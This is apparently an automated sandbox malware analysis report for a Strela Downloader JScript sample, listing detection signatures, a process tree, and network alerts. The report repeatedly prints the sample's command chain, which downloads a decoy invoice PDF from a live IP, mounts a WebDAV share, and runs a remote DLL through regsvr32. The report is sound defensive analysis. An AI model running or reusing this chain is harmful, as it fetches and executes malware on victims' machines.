Edit tour

Windows Analysis Report
24928193762733825739.js

Overview

General Information

Sample name:	24928193762733825739.js
Analysis ID:	1588094
MD5:	57fbafd4c6fa1ef1ced832d3bdcc05a4
SHA1:	db37157f677e8d012eb8aa0bde22762ab0d465b1
SHA256:	69610c063542eb143794c88ae4235f5d4f4c611d9c1d20f26be958ced0771849
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 964 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24928193762733825739.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1588 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2216 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6496 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1396 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7248 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2156 --field-trial-handle=1528,i,8413013044766119975,15128459537628800803,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6240 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2940 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6484 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 964	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1588, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2216, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1588, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2216, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24928193762733825739.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24928193762733825739.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24928193762733825739.js", ProcessId: 964, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2940, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49722

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24928193762733825739.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 964, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, ProcessId: 1588, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24928193762733825739.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 964, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, ProcessId: 1588, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24928193762733825739.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 964, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, ProcessId: 1588, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24928193762733825739.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 964, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, ProcessId: 1588, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24928193762733825739.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 964, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, ProcessId: 1588, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24928193762733825739.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24928193762733825739.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24928193762733825739.js", ProcessId: 964, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1588, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2216, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6240, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2940, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6484, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6240, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2940, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24928193762733825739.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 964, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, ProcessId: 1588, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:20:31.139212+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49722	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:20:28.133789+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49721	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 24928193762733825739.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 24928193762733825739.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49722 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:20:28 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49722

Source: global traffic

TCP traffic: 192.168.2.6:49722 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49721 -> 193.143.1.205:80

Source: global traffic

